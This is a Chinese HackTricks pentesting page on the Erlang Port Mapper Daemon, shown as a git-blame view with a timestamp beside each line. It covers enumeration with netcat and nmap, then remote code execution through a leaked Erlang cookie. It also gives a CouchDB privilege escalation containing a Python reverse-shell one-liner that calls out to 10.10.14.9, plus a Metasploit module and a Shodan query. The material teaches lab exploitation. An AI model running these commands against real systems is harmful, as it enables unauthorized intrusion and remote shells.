2022-04-28 16:01:33 +00:00
|
|
|
|
<details>
|
|
|
|
|
|
2024-02-08 22:23:24 +00:00
|
|
|
|
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-02-09 12:48:25 +00:00
|
|
|
|
支持HackTricks的其他方式:
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-02-08 22:23:24 +00:00
|
|
|
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
2024-02-09 12:48:25 +00:00
|
|
|
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
2024-02-08 22:23:24 +00:00
|
|
|
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
# 基本信息
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-02-08 22:23:24 +00:00
|
|
|
|
**Erlang Port Mapper Daemon (epmd)** 作为分布式Erlang实例的协调器。它负责将符号节点名称映射到机器地址,从根本上确保每个节点名称与特定地址相关联。**epmd**的这一角色对于不同Erlang节点在网络中的无缝交互和通信至关重要。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
**默认端口**:4369
|
2021-10-18 11:21:18 +00:00
|
|
|
|
```
|
2020-07-15 15:43:14 +00:00
|
|
|
|
PORT STATE SERVICE VERSION
|
|
|
|
|
4369/tcp open epmd Erlang Port Mapper Daemon
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
这在RabbitMQ和CouchDB安装中默认使用。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
# 枚举
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-01-05 23:03:10 +00:00
|
|
|
|
## 手动
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```bash
|
|
|
|
|
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
|
|
|
|
|
|
|
|
|
|
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
|
|
|
|
|
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
|
|
|
|
|
apt-get install erlang
|
|
|
|
|
erl #Once Erlang is installed this will promp an erlang terminal
|
|
|
|
|
1> net_adm:names('<HOST>'). #This will return the listen addresses
|
|
|
|
|
```
|
2024-01-05 23:03:10 +00:00
|
|
|
|
## 自动
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```bash
|
|
|
|
|
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
|
|
|
|
|
|
|
|
|
|
PORT STATE SERVICE VERSION
|
|
|
|
|
4369/tcp open epmd Erlang Port Mapper Daemon
|
2023-08-03 19:12:22 +00:00
|
|
|
|
| epmd-info:
|
2020-07-15 15:43:14 +00:00
|
|
|
|
| epmd_port: 4369
|
2023-08-03 19:12:22 +00:00
|
|
|
|
| nodes:
|
2020-07-15 15:43:14 +00:00
|
|
|
|
| bigcouch: 11502
|
|
|
|
|
| freeswitch: 8031
|
|
|
|
|
| ecallmgr: 11501
|
|
|
|
|
| kazoo_apps: 11500
|
|
|
|
|
|_ kazoo-rabbitmq: 25672
|
|
|
|
|
```
|
2022-05-01 12:49:36 +00:00
|
|
|
|
# Erlang Cookie RCE
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 远程连接
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2024-02-09 12:48:25 +00:00
|
|
|
|
如果你能**泄露认证cookie**,你将能够在主机上执行代码。通常,这个cookie位于`~/.erlang.cookie`中,并且是由erlang在第一次启动时生成的。如果没有修改或手动设置,它将是一个具有20个字符长度的随机字符串[A:Z]。
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```bash
|
|
|
|
|
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
|
|
|
|
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
|
|
|
|
|
|
|
|
|
Eshell V8.1 (abort with ^G)
|
|
|
|
|
|
|
|
|
|
At last, we can start an erlang shell on the remote system.
|
|
|
|
|
|
|
|
|
|
(test@target.fqdn)1>os:cmd("id").
|
|
|
|
|
"uid=0(root) gid=0(root) groups=0(root)\n"
|
|
|
|
|
```
|
2024-02-08 22:23:24 +00:00
|
|
|
|
更多信息请查看[https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
|
|
|
|
作者还分享了一个用于暴力破解 cookie 的程序:
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2021-10-18 11:21:18 +00:00
|
|
|
|
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 本地连接
|
2020-07-16 18:26:18 +00:00
|
|
|
|
|
2024-02-08 22:23:24 +00:00
|
|
|
|
在这种情况下,我们将滥用CouchDB以在本地提升权限:
|
2020-07-16 18:26:18 +00:00
|
|
|
|
```bash
|
2023-08-03 19:12:22 +00:00
|
|
|
|
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
|
2020-07-16 18:26:18 +00:00
|
|
|
|
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
|
|
|
|
|
"homer\n"
|
|
|
|
|
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
|
|
|
|
|
```
|
2024-02-08 22:23:24 +00:00
|
|
|
|
从[https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)中获取的示例\
|
|
|
|
|
您可以使用**Canape HTB机器**来**练习**如何**利用此漏洞**。
|
2020-07-16 18:26:18 +00:00
|
|
|
|
|
2022-05-01 12:49:36 +00:00
|
|
|
|
## Metasploit
|
2020-07-15 15:43:14 +00:00
|
|
|
|
```bash
|
|
|
|
|
#Metasploit can also exploit this if you know the cookie
|
|
|
|
|
msf5> use exploit/multi/misc/erlang_cookie_rce
|
|
|
|
|
```
|
2022-05-01 12:49:36 +00:00
|
|
|
|
# Shodan
|
2020-07-15 15:43:14 +00:00
|
|
|
|
|
|
|
|
|
* `port:4369 "at port"`
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2024-02-09 12:48:25 +00:00
|
|
|
|
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-02-08 22:23:24 +00:00
|
|
|
|
其他支持HackTricks的方式:
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
2024-02-08 22:23:24 +00:00
|
|
|
|
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
2024-02-09 12:48:25 +00:00
|
|
|
|
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
|
|
|
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
2022-04-28 16:01:33 +00:00
|
|
|
|
|
|
|
|
|
</details>
|